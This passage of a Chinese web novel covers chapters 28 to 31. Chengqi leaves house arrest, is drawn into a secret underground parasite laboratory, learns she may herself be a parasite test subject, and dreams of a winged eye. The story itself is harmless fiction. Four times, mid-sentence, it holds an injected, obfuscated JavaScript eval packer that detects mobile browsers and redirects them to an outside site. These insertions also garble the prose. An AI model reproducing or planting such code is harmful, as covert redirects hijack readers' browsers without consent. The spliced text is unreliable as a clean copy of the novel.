不知道谁给她在学校请了长假,同学还以为她生了什么大病,一堆问候,澄栖全盘照收,就当自己真的生病了,还向他们打听最近联邦有没有出什么大事情。 28. 研究院新变 大事情? “当然有!元帅醒了你不知道吗?澄栖你不上网吗!” 怕网络被监控的澄栖默默不语。 “元帅终于醒了,你都不知道,听说好几个前线都出现了寄生虫暴动的情况,要是元帅再不醒,我爸都打算把我们家在主星以外的资产卖掉,谁知道什么时候突然被寄生虫攻陷。” “现在元帅终于醒了,上天保佑,我还是家财万贯的大小姐,上天保佑啊!” 澄栖很难共享她的激动和欣喜。 现在总算是知道安萨斯把她软禁在这里,也不审问,纯软禁到底是为什么了。 澄栖推开门,院子里站着的人依旧密集,。她穿过院子,试探性一只脚伸出大门外。 没有人拦她。 澄栖继续往前走了两步,依旧没有人拦她。 看着院子里站着的人冷漠的脸,澄栖意识到,原颂真的醒了,安萨斯的目的达成,留下她没什么用了。 “我真走了?”澄栖转身,看着院子。 果不其然有护卫回应她,“陛下说过,夫人已经可以自由活动了。” “莉丝公主失踪的事情不查了?” “陛下相信夫人和莉丝公主失踪的原因没有关系。” 安萨斯当然知道她和莉丝失踪的原因真的没有关系。 她按照记忆里的路线往外走,走出偌大的宫廷,才给秦叔拨通讯,“秦叔,原颂呢?” 那边沉默片刻,没有回答澄栖的问题,而是说,“夫人,主星最近不太安全,我送你去威什星住一段时间怎么样?” 澄栖皱眉,没有问太多东西,“好,我已经出宫了,麻烦秦叔看看我发的定位,来接我一下吧。” “夫人已经出来了?”秦叔有些震惊。 澄栖心里有种不太好的预感,“安萨斯用我威胁你们了?” 秦叔闭口不谈,只说,“我会尽快为夫人准备好去威什星的行程的。” 澄栖还有什么不明白的,她气得咬牙,一上网搜索,才发现原颂两天前就已经离开联邦主星,去前线了。 安澜当初也是被突然召去前线,然后毫无征兆失踪,现在,这个去前线的人又变成了原颂。 这两件事情,要是说跟安萨斯没有关系,澄栖一点都不相信。 好险恶的老东西。 飞行器来得很快,连澄栖的行李都收拾好了,一并放在飞行器上,直接送她去港口。 “夫人,这是秦管家托我交给您的,上面是您的新住址,还有保险箱的密码。管家说,您一路保重。” “好,我知道了。”澄栖接过行李箱和卡片,没有丝毫留恋,转身就走。 驾驶员看着她冷漠的背影,摇了摇头。 “女士们先生们,联邦主星开往威什星的H2684号飞船即将起飞……” 澄栖站在大厅,手上拿着刚刚退掉的飞船票,亲眼看着开往威什星的飞船离开,然后把票据丢进垃圾桶。 —————— 寄生虫研究院最近的工作一下子轻松了不少。 “前线又送回来一只寄生虫尸体……嗯,对,直接送到037哪里去,她会搞定……放心,明天就能拿到结果,她很靠谱,最近一直是她在处理这些事情。” 接通讯的研究员工位上摆着一壶茶,挂断通讯,一摸茶杯,还是温热,正好够喝。 这日子,过得舒坦啊。 果然,一个单位还是得有年轻人在,尤其是那种超级能干活还不抢功劳的年轻人。 看看时间,再有两个小时二十分钟,今天的工作时间又结束了,他正在思考晚上回去吃点什么。 这种生活要是放在以前,那是敢都不敢想,说出去谁相信,前线战事吃紧的时候,本该是忙得脚不沾地的寄生虫研究院,反而一片清闲。 当然,这一切,全都沾了一个的光,037。 不愧是被许教授带进来的新人,工作状态比起许教授当年,那是更进一步啊。 研究员打开音响,感慨万千。 音乐一首接着一首,他已经做好下班准备,一只手突然按停了音响。 研究员有些不满地睁开眼睛,到底是谁,不是说了有什么问题都去找037,她会解决吗?怎么还有人来扰他清梦? 下次干脆在门口挂个公告好了! “院……院长?!” 庄广生手一按,音响里的歌又放出来。 研究员额头上冒出来些细微的汗水。 “薛教授最近挺清闲的。” 被点到名的人迅速擦了擦头上的汗水,连忙摆手,“哪里,这不是现在的年轻人冲劲太大,把工作都做得差不多了,没事干,可不就清闲了嘛。” 庄广生也是头一次听见,研究院的研究员居然会没事干的。 “院长,真不是我懈怠啊,您知道的,我是专门被派过来处理前线寄生虫事件的,但这个主要不是许教授负责嘛。” “前些时间许教授一个人忙不过来,我还帮帮忙,但自从037研究员回来之后,一个人把所有人的工作都做完了,我才在这里主要是联系前线送过来寄生虫标本的人。” 庄广生笑了,老花镜后面闪出精明的光,“研究院居然来了个这么厉害的年轻人。” 薛研究员瞬间懂了他话里的意思。“可不是,工作效率非常高!要不然,我带院长见见。” “当然,是得见见。” 澄栖在解剖台上解剖寄生虫尸体,幸好穿着从头到尾裹得严严实实的防护服,血迹,液体沾到防护服上,她自己看了都埋汰,只想赶紧结束,手里的动作也越来越快。 要是此刻有人看见,恐怕会愣得瞪大双眼,她的动作太快了,看起来完全是随意拿着手术刀乱划,偏偏每划拉一刀,都能毫不出错地露出来一道完整结构,就像……开了透视一样。 有人在敲门。 澄栖放下手术刀,以为是又有新的寄生虫标本送进来。 “东西放在隔壁实验室。” “037,是我。” 其实澄栖并没有听出来门外的人是谁,不过,不是来送寄生虫标本的人? 她擦了擦自己身上的脏东西,去开门。 门口站着两个人。 白头发的老头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138132|195047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 站在后面一副高深莫测的做派。 敲门的是中年人,澄栖认出来,是负责联系前线的薛研究员。 “037,这是我们寄生虫研究院的院长,你是走大运气了,院长亲自见你。” 薛研究员脸上的褶子都要笑成花了,一副你前途无量的表情。 果然什么地方都少不了人情世故。 “院长好。” 澄栖淡淡打了声招呼,又回到解剖台上继续工作。 薛研究员看见澄栖这副举动,气得想要把她从解剖台上拉下来。 不过,还没来得及动作,就被庄广生拦下来了。 庄广生挥了挥手,示意他在门口等,自己有话跟里面的人说。 实验室的门被关上,澄栖抬头看了一眼,发现庄广生手里也拿起来一副手术刀,站在她对面,开始解剖寄生虫尸体。 她看着他的动作,出声提醒道,“错了,它的身体两边并不是对称的,你出刀的方向错了。” 澄栖用手术刀比划了一下,“应该是这个方向,顺着这个方向,才能完整把神经剥离出来,你刚才那么下刀,会把那条神经弄断。” 怕他不相信,澄栖还把试验台上的电脑打开,让他看看上面仪器扫描出来的结构。 对方完全没有被年轻人挑战权威的不悦,反倒是一副恍然大悟的样子,“原来是这样。” 幸好澄栖穿着完整的防护服,庄院长看不见她的表情。 这种等级的大佬,解剖寄生虫之前,不先看仪器扫描出来的结构,里面没有猫腻,谁信。 这种搭讪方式,实在是太老套了。 不过,当下这种情况,澄栖就装作不知道好了。 “听说你是许教授担保进来的特殊研究员,所以,你是有特殊能力还是特殊血脉?” 其实两个都有,不过,澄栖怎么会告诉他呢。她语气有些不太想搭理他,“报告院长,算是特殊能力吧,能根据寄生虫的脉搏判断它的身体状况,当然,人也可以。” 这种能力,庄广生之前也没有听说过,不过,这并不妨碍他继续忽悠澄栖。 “这样啊。年轻人,你知道为什么有些人会拥有这样的特殊能力或者血脉吗?” 其他人拥有的能力澄栖不清楚,不过,她刚刚说的能力她再清楚不过了。 全靠几千年的各位前辈一点一点摸索出来。 “不知道。” “如果我告诉你,人类拥有这样的能力,是因为你们的祖先之中,有寄生虫呢?” 澄栖握刀的手颤抖了一下。 “抱歉,院长,我并没有看见相关的科研成果以及论文发表,对这个问题没办法发表意见。” 庄广生故作高深笑了笑,“你当然不知道了,这种消息发表出去,只会引起联邦人民的恐慌,自然也就被封锁了。” “您的意思是,我有一部分是寄生虫?” 澄栖深吸了一口气,“好的,院长,我知道了。” “如果是高级寄生虫寄生在人类身上之后,和人类生下小孩,不能排除会出现这种情况,但我仍然倾向于否定的答案。” 29. 地下实验室 “毕竟寄生虫只是寄生,能够运转的身体机能,依旧是人类的,生下的孩子,也只会继承人类的基因才对。” “而且,当前能够研究的高级寄生虫样本太少了。”澄栖感到很惋惜。 如果人类和寄生虫没有生殖隔离,那也太离谱了。不过,星际离谱的事情也不少了。 庄广生反问澄栖,“我什么时候说过,是高级寄生虫和人类诞下的孩子?” “不是吗?” “当然不是!”庄广生的语气变得激动,语气里是澄栖分辨不太出来的复杂。 “高级寄生虫之上,早就出现了更高等级的寄生虫,它们已经完全摆脱了基因的封锁,不需要依靠寄生就能存活,它们是和人类一样的高等级智慧生命体,不,它们比人类更加高级!” 它们拥有漫长的寿命,还拥有人类无法想象的特异功能。 澄栖像是被这句话惊讶到,“我在曾经翻阅到过相关的文献,只是这种猜测完全没有数据支撑,我一直以为这只是一种假设,没想到,这竟然是真的吗?” “当然是真的。”庄广生点头,继续问澄栖,“你想不想看看人类和寄生虫诞下的第一代孩子,是什么样子的?” 没有研究员能够拒绝这样的诱惑。 澄栖有些迟疑,“我需要做什么?” 天底下没有白白掉下来的午餐,所有的馈赠都在暗中标好了价格。 庄广生点头,对澄栖的识趣相当满意。 “你想研究这个课题?” “当然想。”澄栖点头。 庄广生拿出来早就准备好的协议,递到澄栖手上。 她拿着文件翻了翻,才看两页,就把文件递了回去。 “庄院长,恕我直言,这份协议,看起来比卖身契强不了多少,这是正规实验吗?” “你觉得,如果正规,实验能通过伦理审查?” 那确实是不可能的。 “年轻人,你为什么要加入寄生虫研究院?”庄广生的话里充满了诱惑的意思。 为什么加入寄生虫研究院?其实主要是许三光先来找她了,然后她发现干这个可能摸清楚她的身体出了什么问题。 不过,直到现在,这个目的还是没有实现,反倒是给研究院打了不少黑工。 “为了名扬千古,也为了将寄生虫全部消灭掉,还星际人民一个安全舒适的生活环境。”澄栖当然知道领导想要听到的回答是什么。 庄广生果然对她的回答很满意。 一个人有了欲望,才好掌控。 “我记得你前不久升了四级研究员,从六级连跳两级,直接升到了第四级,037,你觉不觉得自己幸运得过头了?” 澄栖包裹在防护服里的一张脸,表情变得难言,连嘴角也忍不住抽了抽。 连跳两级就幸运了?研究院连跳两级的又不少,更何况是有代号的特殊研究员,大家默认他们升职升得越快,就越快成为实验的消耗品。 别说是连跳两级了,联邦历史上,连跳三级的特殊研究员都能抓出来一把。 “是,幸亏在苏格星前线救了莉丝公主,所以能从六级研究员破格升为四级研究员,我很感谢莉丝公主。” “不,你感谢错人了,真正能够决定你破格升职的,并不是莉丝公主。” “那是——”澄栖适当表现出来疑惑。 庄广生笑笑不说话,跟澄栖承诺,“如果你愿意加入这个计划,我保证两个月之后,你一定会被提到三级研究员的职位上。” 澄栖愕然,“院长,你是说,这个实验……” 话才刚刚开口,就被庄广生打断,“你知道就行了。” 犹豫半响,澄栖最后一咬牙,“好,我愿意。” 她再次接过来那份协议,在最后一页签上了自己的大名,凌七。 这还得感谢许三光靠谱,当初不想暴露身份加入寄生虫研究院,他们就私下里搞到了一个“凌七”的假身份,反正目前来看,是把庄广生这种老狐狸都骗过去了的。 “现在,我能去看看了吗?” 庄广生点头,“当然,你不仅能看,接下来,你可是我们实验的主力军。037在研究院的名号,可是鼎鼎有名啊。” 澄栖但笑不语。 辛辛苦苦这么些天,可算是把这条大鱼调出来了。 跟着人进到电梯里面,庄广生按下了负二楼的电梯。 负二楼是是研究院的太平间。 使用完的寄生虫标本,都被封存在这里。 可是澄栖从来不知道,负二楼往下,还有空间。 她看着庄广生的手在光滑的墙面上按动,金属细微动响,墙面出现了一条缝隙,缝隙里有绿色的光芒从中间向两边延伸,最后亮成一道绿色的线。 庄广生站在那条线前面,绿光从一条线又缩回去成了一个光点,光点打在他左边的瞳孔上, “验证成功。” 说真的,澄栖头一次进研究院都是看见门口的保安拿钥匙开的门。敢情这些高科技的东西不是没有,只是没给研究院的大门用上啊。 验证成功过后,墙壁从那一道缝隙里打开,出现了一个一平米大小的封闭小空间,是电梯。 说是电梯也不太准确,它的运转依靠的不大可能是电,否则应该早就被发现了。这个位置,当然也不可能是太阳能或者风水火能之类的。 澄栖看着庄广生率先站上去,有些犹豫。 “院长,不会有什么危险吧?这个下面,总不会成为我的埋骨地吧?” 庄广生说,“放轻松,小凌如果简单的死在这里,将会是我们巨大的损失。” 她是不是还应该说声谢谢他的认可? 澄栖小心翼翼站上去,墙壁在她眼前重新关上,随之而来的,是强烈的失重感。 如果按照正常电梯的运行速度,差不多往下行了一百米,电梯终于停下来。 澄栖深吸了一口气。 庄广生朝澄栖做了一个请的手势。 电梯打开,她以为会看见什么见不得人的血腥场面,否则为什么要将一个实验室设置在地下一百米还要深的地方。 但是出乎澄栖意料的是,这里光线明亮,干净整洁,空气里漂浮的都是消毒水的味道。 让她这种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17143931|195047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曾经常年在医院和实验室来回跑的人,感到格外安心。 走廊来来往往的,有穿着白大褂行色匆匆的人,也有扛着武器来回巡逻的机械,直到进入这个地方,澄栖才终于有一种,她真的是在星际时代做科研的实感。 “和研究院的风格,差别好大。” 庄广生解释,“研究院成立的时间太久了,外面的设备能用,一直也没换。这里当然不一样,毕竟是新建的实验室。” 那倒也是,新兴的建筑总是更能体现时代特色。 即使深埋在地底,但明亮柔和的光线丝毫不让人感受到压抑,澄栖抬眼看天花板,还有恒温通风系统,财大气粗这四个字具象化了。 “你不是想看看人类和寄生虫诞下的第一代的婴儿是什么样的?” 听到庄广生的话,澄栖才转过头,“当然。” 庄广生打开一间门,里面是他的办公室。前面的巨大屏幕在他进门的瞬间播报出语音,“欢迎回家。” “打开一号文件。” “好的,正在打开一号文件。” 一号文件看起来是一份有些灰蒙蒙的视频,其像素之差,好像完全不应该出现在星际这种时代。 视频里,是一团灰色的雾,浓郁得散不开,哪怕在强光照射下的实验室里,和无法看清楚那团雾气中央到底是什么东西。 澄栖的视线粘在上面挪不开。 这幅场景,让她觉得,无比熟悉。 灰色雾团在实验室里翻转滚动,外面的研究员束手无策。 “放寄生虫进去。”澄栖听出来这个声音,就来自她身边的庄广生。 实验室头顶照明的灯突然变成一只巨大的机械手臂,它手上抓着一个玻璃容器,里面装满了各种各样奇形怪状的寄生虫。 寄生虫被倒在实验室的地板上,它们试图靠近灰色雾团,但刚刚前进一米不到的距离,灰色的雾团聚成一把锤子,朝它们头顶一锤子敲下去。 这群寄生虫好像感受到什么压迫,动都不能动,只能站在原地,然后毫无疑问被锤子敲成一滩肉泥。 最后剩下了的,只有没有攻击力,抱在角落里瑟瑟发抖的小寄生虫。 “它的压制性太强了,再放一批寄生虫下去。” 第二批寄生虫也毫无疑外被砸成一滩肉泥。 研究员束手无策。 “除了完全没有展现出攻击力的几只寄生虫,剩下的全部死亡。” 这和他们预计的走向完全相反。只剩下这些没有攻击力的寄生虫,能干什么,给它储备粮食? 庄广生继续发话了。 “把那几只活着的寄生虫带出来改造。” “您的意思是……”声音有些激动。 “照做。” “是。” 整个视频在这里结束。 澄栖的视线久久不能从大屏幕上挪出来。 “凌研究员?” “嗯?我在。” “你感觉如何?”庄广生盯着澄栖的表情,如果他在这张脸上看见半分不忍,他就要考虑澄栖的去留了。 “真是天不可思议了。” 30. 实验体 “真是天不可思议了。” 澄栖转头,没有任何可怜的情绪,眼睛里面全是对发现新奇物种的激动。 “院长,这绝对是一个可以载入史册的发现!” 庄广生一双阴鸷的鹰眼上下扫视澄栖,最终笑出声,语气里不乏赞赏,“我总算知道许教授为什么很看好你了。” “037,你果然是一个为研究而生的天才!” “院长过誉了,不知道我们什么时候能够开始进行研究?我已经迫不及待见到它了。” 没想到庄广生摇头,“你刚刚看到的一号实验体已经死亡了。” “死了?”澄栖满眼都是不可置信。“怎么会轻易死掉?” “我们用特殊手段在它身上放置了七枚不同的高级寄生虫虫卵,它没有熬过去,就死掉了。” 庄广生谈到这只实验体情绪很复杂,像是惋惜,可说到往实验体身上丢了七只寄生虫卵,却没觉得有任何不对的地方,甚至是理所当然。 “这样啊,那真是可惜了。”澄栖脸上也有些惋惜。 “不过,实验室最近发现了一只新的实验体,和一号有一部分基因类似,我想把这个项目重要的一部分交给你,你觉得怎么样?” 澄栖脸上的惋惜还没有褪去,又变成被馅饼砸到的震惊,“真的吗,感谢院长的信任!” “加油干啊,年轻人。这个世界,未来就是你们的天下了。” 庄广生意味深长拍了拍澄栖肩膀。 那份视频,才是澄栖面临的最终测试。不过很显然,她的表现让庄广生很满意。 澄栖被领到一间新的办公室里,名为办公室,其实更像是一间小型住所,生活用品一应俱全是庄广生特意给她安排的,离存放接下来实验标本的实验室最近的一间办公室。 出门,拐角不用三分钟,就能进入实验室。如果听力灵敏些,说不定晚上睡觉的时候,还能听见隔壁实验室的动静。 关上门,澄栖面无表情靠着门背滑下来,瘫坐在地上,摸了摸自己脸上的伪装,贴得很牢,没有暴露。 这个世界,就是一群疯子的狂欢。 —————— “她适应得怎么样?” “快得让人难以置信,院长。她在办公室里睡了半个小时,然后立刻投入了实验室工作,直到现在都没有结束。” 庄广生非常满意,他没有看错人,这个037,可比当初的许三光识趣多了。 “不过,院长,如果她发现我们研究项目——” 庄广生打断他,“迟早会发现的,不过那时候一边是足以改变科研界的成果,一边是虚无缥缈的道德,难道还有什么需要纠结的么。” 庄广生回想起来澄栖看见一号实验体的反应,自认为对这个人已经足够了解了。 “是,还是院长英明。” 这间实验室很大,穿着白色防护服的研究员穿梭在各个实验仪器之间,他们和实验室里的仪器没有任何区别,每个人都沉默的做自己手上的事情,整个实验室里,除了仪器运转碰撞的声音,再也听不见其他的动静。 摆在澄栖面前的实验体,是一只眼睛。 准确来说,是一只带着黑色翅膀的眼睛。 眼睛的状态很不好,蜷缩在玻璃器皿的一角,小小的黑色翅膀耸拉着包裹住眼球,一动不动。 澄栖给它喂了很多培养液,状态还是没有得到改善。 而她的眼睛,也只能看见眼球内部复杂的血管和神经,没有出问题,就是单纯萎靡不振。 她没办法,只好请教离她最近的一名研究员。 研究员对她的行为表示非常震惊,他的声音小且快,“我不知道。” 说完,迅速拉开了和澄栖的距离,直到退到正常的社交距离,才安心继续进行自己手上的工作。 这个状态,其实有点像精神出问题了。 澄栖摇头,只能转回来把这只眼睛的所有资料继续整理一遍,包括年龄,血型,身高,体重。 是的,这只眼球还有血型,稀奇的是,这种血型居然和人类的血型一样。 在考虑到它和一号实验体有一部分基因重合后,澄栖有了一种大胆的想法。 这个基因重合度,到底有多高? 她没有再给眼球喂培养液,反而从它翅膀上抽了一管子血,悄悄放进了空间扣里。 眼球反而恢复了一点活力,在实验台上扑腾着想要逃走,但它力气太小了,反倒是把自己的翅膀扑腾出来伤。 澄栖没办法,只能将它从实验台上拿出来,尝试安抚它的情绪。 “你在干什么?” 邻近的研究员看见澄栖手掌上的那颗眼球,低声呵斥她,“来之前没有人跟你强调过,实验体不能离开实验台?” 他迅速用仪器从澄栖手上提起来那只眼球,丢进她的实验台。 澄栖看着眼球在实验台上滚了几圈,触及到实验台边缘,差点滚下去的时候,实验台突然升起来一道金属隔板。金属隔板上带着电,将眼球的翅膀边缘烤焦了。 “抱歉,我不知道。” “出去,背熟了实验室准则再进来。” 澄栖灰头土脸被赶出了实验室。 庄广生在第一时间就得知了这件事。 “院长,抱歉,是我的问题。” “没关系。”庄广生安慰她,“你刚进实验室,更何况,不是什么不得了的大事情。不让实验体离开实验台,只是为了避免它们攻击研究员而已。” “先回研究院吧,许教授在找你。” 澄栖点头,“放心院长,我知道该说什么。” 庄广生点点头,放澄栖走了。 澄栖一个人踏上那台电梯,回到研究院的时候,太阳正好在头顶上。 很明亮。 澄栖狠狠打了个寒颤,摸到了自己冰冷的双手,上面全部是消毒水的味道,清洁得很到位。 许三光看见她站在院子里晒太阳,气得跳脚,“你去哪里了,事情一大堆,你这个年纪,怎么敢在这里晒太阳的?” 澄栖缓缓转身,许三光终于发现她的状态不对劲。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148603|195047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>像一具失去灵魂的尸体。 “你被寄生虫啃掉了?”许三光震惊。 “我不是早就应该被寄生虫啃掉吗?” 许三光指责的气势一下子就弱下去了,“你在说什么,我听不明白?” “哦?”澄栖微笑,配上她一张苍白的脸,更像是尸体躯壳了。 “那我换个问题,我是不是……寄生虫?是安萨斯私下建立的实验室里,那个一号实验体?” 许三光没有回答是还是不是,而是反问澄栖,“你去过地下实验室了?” 澄栖无力闭眼。 许三光这副心虚的样子,还有什么好疑问的。 她不是从安萨斯的地牢里被捞起来的吗,她都为自己主动想出来一条完整的合理身份了,是犯过什么罪的重要嫌疑人,还是什么重要嫌疑人的孩子,被关在地牢里,是为了让人吐出秘密。 就像古装电视剧里上演的天牢地牢那种,结果呢!结果呢!不仅不是什么嫌疑人,就连地牢都不是,那个地牢,是地下实验室。 许教授还是太会起名字,地下实验室等于地牢,谁看了不说一句形象生动。 “换个角度想想,当寄生虫也不是没有优点啊?你别灰心丧气嘛,你想想,你比人能多活个几百年,要是保养得好,说不定上千年也是有可能的,而且你应该也感受到了,自己出现了一些特殊能力,人类谁不羡慕啊。” 他就很羡慕。 澄栖:……活上千年,是准备当千年老妖吗? 好端端当了二十几年人类,突然告诉她,她变了一个物种,她现在的心情,比当初眼睛一睁一闭穿到星际,还要复杂。 澄栖继续问,“你是安澜将军的人?” “这个你也知道?!”许三光震惊,这件事情他可没跟谁说啊。 澄栖咬牙,到底在震惊什么!头一天才见到安澜,第二天早上就被许三光毫无预兆招揽进研究院,难道这很难猜吗? 许三光没有隐瞒她是从地牢里被捞出来的身份,而安澜带他们的格斗课,又明显是在促进她能力的觉醒,是傻子也该清楚背后是怎么一回事了吧! 她是装傻有不是真傻!现在安澜失踪,原颂去前线,两大靠山全没了,她就是真睡着也得爬起来干活了! 这个人当的,真是苦死了!不对,就是当寄生虫,也当得苦死了! “安澜将军也是寄生虫?” “我靠,你连这个也知道?!”许三光震惊得倒吸一口凉气。他发誓,这件事情他真的是藏在肚子里藏得死死的,真的谁都没有说过。 澄栖看着许三光的反应。就算是不确定,现在也能够完全证实。 “许教授,你还是好好搞研究吧。”也是能够从侧面证明,许三光的实力很强了,否则,就凭这种心眼子,还和庄广生出生在同一个年代,早就该被吃得渣子都不剩。 阳光从头顶上直射下来,黑色的头发吸热,有些发烫的温度好像从头顶一直传到四肢百骸,澄栖僵硬冰冷的身体终于恢复了一些温度,从僵硬的尸体,变得有些活人样子了。 31. 天花板上的眼睛(一) 澄栖抬脚进去实验大楼。 “你去哪里?” “分析寄生虫样本啊,还能干什么?不是说事情一大堆?”说完,澄栖头也不回继续走了。 就这样?许三光以为,澄栖至少会大声质问一遍又一遍的。可是什么都没有。 这样的反应,许三光反倒是有点慌了。他想联系安澜,毕竟是自己亲手带了好一段时间的孩子,他挺害怕澄栖一下子迈不过去心里那道坎的。 可想到安澜那边更加负载的情况,他只能克制住自己去拨通讯的想法。 太可怜了,这孩子真惨啊。 许三光已经准备好今天多分担一点澄栖的工作,让她好好休息一下了。 一进实验室,看见澄栖背对着门一动不动,许三光脑补澄栖得知自己的身份,暗自神伤,又害怕别人看出来,只能对着空旷的实验室发呆,忍不住更加可怜这个孩子。 他上前,正想要安慰一下,然后看到了实验台。 水团分成好几部分,一个在操控实验台上的仪器,一个拿着寄生虫标本的身体数据,竟然还有拿着手术刀准备解剖的。 许三光捂着自己的心脏,一口气差点没有喘上来,“你们,在干什么?!” 澄栖当然知道进来的谁,因为除了实验室这群分工合作的水团,门口还有一团报信的呢。 “在工作啊。”澄栖头都没回,她手里拿着的,是一小管血液,好像在思考什么。 许三光:他能不知道是在工作吗,但是到底是谁在工作! 对此,澄栖理直气壮,“原来许教授早就知道我的真实身份,那我也没什么好藏的了。哎,您要是早说您知道该有多好,亏我还辛辛苦苦自己一个人工作了那么久。” “朝暮怎么能这么用!”奴役,这简直是奴役,许三光没想到,到了他这个年纪,居然还能看见寄生虫被奴役。可怜的小寄生虫啊,要是在他手上该有多好。 “什么奴役,多不好听,它们跟我在实验室待了那么久,接受实验室的熏陶,还喝了我那么多血,给我干干活怎么了?” 许三光还想要说什么,澄栖一伸手,水团聚到她手上,无比温顺。 “你们同意帮我干活吗?同意就不动,不同意就站到我的左手上来。” 这跟训狗有什么区别!她手里的朝暮,可是变异的寄生虫,等级和高级也差不了什么了,绝对不可以这么乖乖听话,否则,作为高级寄生虫的尊严往哪里搁! 水团乖乖趴在澄栖的手上不动,还温顺地蹭了蹭她的掌心。 许三光的天塌了。 “好了,干活去吧。” 这下子,反倒是澄栖转过身来安慰许三光了,“许教授,我觉得您说得对,恢复寄生虫身份其实没有什么不好的,您看看,生活这么一下子就方便了,我还有点不适应,真是的。” 许三光:笑不出来,表情僵硬。“我老了,身体不舒服,回去休息了。” 澄栖看了看时间,这个时间要是睡个午觉正合适,她也可以休息休息。 把水团收进空间扣里,两人分道扬镳。 研究院有专门分配给研究员的单间休息室,下午还有其他事情做,澄栖也没有回家。 关上窗帘,整个卧室里陷入黑暗,暗到了伸手不见五指的程度,很适合睡觉。 澄栖默默找到窗帘的链接。 只有睡眠不好的人才知道这个窗帘的含金量,尤其最近澄栖的睡眠质量是越来越不好了。 躺在床上闭眼,大脑里自动浮现出来她在地下实验室碰过的那只长着翅膀的眼睛。 说真的,她睡眠质量不好简直再正常不过。 澄栖爬起来吞了一颗安眠药才睡着的。 那只眼睛的阴影并没有从澄栖的脑海里消失。 眼睛静静倒挂在冰冷黑暗的天花板上,澄栖一抬头,它的眼睛里流出来红色的血液,一滴一滴往下掉,澄栖觉得眼睛不大舒服,低头揉眼睛,看见自己的手指上有红色。 是血。 寄生虫的血液,滴到她的眼睛里来了。 澄栖顿时从床上弹跳起来,污染,她现在需要立刻清洗自己的眼球。 不,不对。 她睡觉之前把窗帘拉起来了,为什么自己能看见血液的红色? 澄栖的动作变慢,抬头,黑暗的天花板上,那只眼睛依旧静静蛰伏在那里。 冒着红色的光芒,是整间卧室里唯一的光源。 澄栖意识到自己陷入梦魇了。伸手,把台灯打开,天花板上的眼睛消失不见,关上灯,又出现,关灯,开灯,关灯,开灯。 她还是去洗手间把自己的眼球清洗一下吧。 澄栖站在洗手台前,把自己的眼球取下来了。 澄栖:? 澄栖:?! 她怎么把自己的眼球取下来了,清洗眼球不是这么清洗的啊!! 然而她的动作并不受意识的控制,清洗完一边的眼睛,澄栖把眼球按回了眼眶里,伸手又取出了另一只眼眶里的眼睛,放在水龙头下冲洗。 不是这样清洗的,真的不是这么干的。 梦里的澄栖好像也意识到了自己的动作不对劲,把自己的眼球拿起来看了又看,眼睛里充满了疑惑。 水滴从眼球流到手心里,她眼睁睁看着梦里那个人抽出来一张卫生纸,裹着眼球擦了擦。 澄栖的意识从空气中看着,恨不得上去把人踢翻。 她的眼睛,是彻底不想要了是不是? 果然是不想要了,因为下一刻,澄栖连带着纸巾,一口把自己的眼球吞进了肚子里。 一只眼眶空荡荡,里面漆黑一片,缺一只眼球,该怎么办呢? 她像只没有意识的躯壳一样,从洗手台走回了卧室,关上灯,天花板上的那只眼球依旧在原处。 好了,这下知道她想干什么了。 澄栖惊得鸡皮疙瘩满身都是,狠狠打了个寒战,这是哪家的安眠药,她要投诉! 梦里那个人快要够到天花板上的眼球了。 澄栖的意识在台灯上疯狂跳动,开灯,快开灯,她绝对接受不了一只陌生的眼球被塞进自己的眼眶里,这跟寄生有什么区别? 也许是意识太过强大,澄栖竟然真的把台灯打开了。 天花板上的眼球顿时消失了。 澄栖松了一口气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17152754|195047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梦里的她看着骤然变明亮的卧室微微一愣神,回头,和澄栖的意识对视上。 “那用你的眼球来换吧。” 一只手伸向澄栖。 她的眼睛瞬间陷入黑暗。 澄栖伸手摸了摸,发现自己是眼睛闭上了,不是眼球消失,送了一口气。 哦,原来是她梦醒了。 头捂在被子里,身体沉重得好像被什么东西压住,澄栖的感官缓慢复苏,捂在被子里面,大脑缺氧,做噩梦也正常。 澄栖掀开被子,和一只闪烁着红光的眼球对上。 隐隐约约的,能看见它煽动的翅膀。 